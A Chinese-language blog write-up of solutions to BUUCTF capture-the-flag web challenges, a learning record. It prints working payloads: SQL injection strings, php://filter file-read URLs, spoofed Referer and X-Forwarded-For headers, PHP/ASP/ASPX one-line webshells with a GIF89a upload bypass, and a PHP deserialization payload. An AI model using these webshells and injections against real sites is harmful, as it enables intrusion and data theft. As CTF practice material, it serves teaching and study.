Buu[极客大挑战 2019]



[极客大挑战 2019]EasySQL

由题目可得做题方向

永真表达式

1
admin' or '1'='1

在这里插入图片描述
注意:只需要密码维持此式即可解出

使用万能账号

也需判断,和永真表达式有什么区别的话,在页面进行输入的时候一个是要求用户名输入,一个是密码。(get与post时请输入全)

1
2
3
a' or true # 

1’ or 1=1 #

密码随便输入即可
在这里插入图片描述

这里找到的表
在这里插入图片描述
在这里插入图片描述
🤔现在我们开始倒推(为什么是倒推,我看其他师傅的wp做出来的),为啥要用单引号进行输入,我们使用get方式(方便)进行判断!

1
','),'')等

首先随便输入用户和密码,使url为图下模式
在这里插入图片描述
在用户名或密码处输入单引号界面异常,存在sql注入
在这里插入图片描述
即可通过改变url后得到flag(get)

1
username=admin' or '1'='1&password=admin' or '1'='1

[极客大挑战 2019]Havefun

打开源码检查,有一部分php注释,应该有用
在这里插入图片描述

1
get传入?cat=dog

在这里插入图片描述

[极客大挑战 2019]Secret File

通过查看源码我们可得/Archive_room.php
在这里插入图片描述
若直接点击,可得
在这里插入图片描述
通过源代码可得/action.php
在这里插入图片描述
使用软件抓个包
在这里插入图片描述
发现有个注释secr3t.php,get入url,
在这里插入图片描述
根据提示
在这里插入图片描述
嗯…不会了,从题目下手,可得
在这里插入图片描述
接着观察源代码
在这里插入图片描述
GET一个file参数过去,但是不能含有…/、tp、input、data,包括这些的大小写
现在需了解一个新概念:php://伪协议,找到个学长博客
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php该伪协议读取源代码并进行base64编码输出
可得在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]Knife

在这里插入图片描述
可能与菜刀工具有关,软件又又又坏了,装软件去了,win11之后限权增加,用管理员方式打开就好了
添加数据!
在这里插入图片描述

在这里插入图片描述
做完题,wp隔了一段时间,才更新,不错,都不记得了。

[极客大挑战 2019]LoveSQL

首先用第一题的方法,都不对!找了个博客

[极客大挑战 2019]Http

首页没思路,找源代码
在这里插入图片描述
可点,点击后存在提示,它需要我们从https://Sycsecret.buuoj.cn来访问它
所以要进行伪造来绕过了

1
referer:https://Sycsecret.buuoj.cn

在这里插入图片描述
它说要用Syclover browser,则修改User-Agent为Syclover browser
在这里插入图片描述本地ip链接,X-Forwarded-For:127.0.0.1(一致)
注意:不要放最后。
在这里插入图片描述

[极客大挑战 2019]Upload

php的一句话木马:
asp的一句话是: <%eval request (“pass”)%>
aspx的一句话是: <%@ Page Language=”Jscript”%> <%eval(Request.Item[“pass”],”unsafe”);%>
这个题GIF的文件头绕过图片判断,GIF89a
顺手补了一下一句话木马的原理
在这里插入图片描述
嗯,,,,,,印象一般般,看题,借鉴文章

随意上传一个,首先得到提示,不是图像
在这里插入图片描述
这里是phtml格式的,对.phtml文件的解释: 是一个嵌入了PHP脚本的html 页面。

1
GIF89a  //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,
1
2
3
GIF89a  //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>

抓包,修改后缀,试到phtml可以(绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)
放包后可得提示
在这里插入图片描述
图片的保存路径了,一般都是/upload查找含有的文件,访问,
在这里插入图片描述
找到上传文件名,打开即可
在这里插入图片描述

[极客大挑战 2019]PHP 1

不得不说,这个猫猫挺可爱的!
在这里插入图片描述

在这里插入图片描述
进网址,把压缩包下载下来
在这里插入图片描述
flag.php中出现一个伪造flag
index.php,显示包含class.php文件,并且反序列化
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>
1
__wakeup() //将在反序列化之后立即调用
1
__construct() //当对象被创建即new之前,会触发进行初始化,但在unserialize()时是不会自动调用的。
1
2
__destruct()//与__construct()相对应的函数——析构函数。析构函数的作用和构造函数正好相反,析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特定的操作,例如关闭文件、释放结果集等。

还不太会写,我到网上看了几个

1
2
3
4
5
6
7
8
<?php
class Name{
private $username = 'admin';
private $password = '100';
}

echo serialize(new Name());
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "<br>";
$b = serialize($a);
echo $b."<br>";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>

这个有些许问题,下周出一个反序列对比专题,
在这里插入图片描述
Nameusername与前面的14不对应,少了两个字符,而Namepassword也是少了两个字符,username和password变量是private类型,变量中的类名前后会有空白符,而复制易丢失,所以还需要加上%00,同时要绕过_wakeup(),还要将Name后面的数字修改为大于2的数。

1
?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

在这里插入图片描述

[极客大挑战 2019]BuyFlag

在这里插入图片描述
查看网页源代码
在这里插入图片描述

1
is_numeric(),判断输入是否是数字的

利用php的弱类型比较,用404a或者404%20均可,不会被认为是数字

在这里插入图片描述
他说我没钱
在这里插入图片描述
又嫌弃钱太长,尝试科学表达式money=1e10
在这里插入图片描述
在网上看到还可以money[]=4,原理忘记保存了,密码post,个人习惯认为插件更方便,注意:Cookie中的user表示身份,
在这里插入图片描述
在这里插入图片描述

尝试抓包

在这里插入图片描述
在这里插入图片描述
POST更改不成功!
[极客大挑战 2019]这个专题到此结束其余两个题太难,还有sql几个打算放一起整一个SQL专栏。

[ACTF2020 新生赛]Include

图片来自参考文章文章2
用php伪协议进行读取flag.php文件,base64编码的方式读文件flag.php
在这里插入图片描述
64解码!
在这里插入图片描述
补充!

1
2
3
4
5
<?php
readfile("php://filter/read=convert.base64-encode/resource=example.etc");
readfile("php://filter/read=string.toupper/resource=example.etc");
readfile("php://filter/read=string.toupper|string.rot13/resource=example.etc");
?>

在这里插入图片描述


Author: BvxiE
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source BvxiE !
  TOC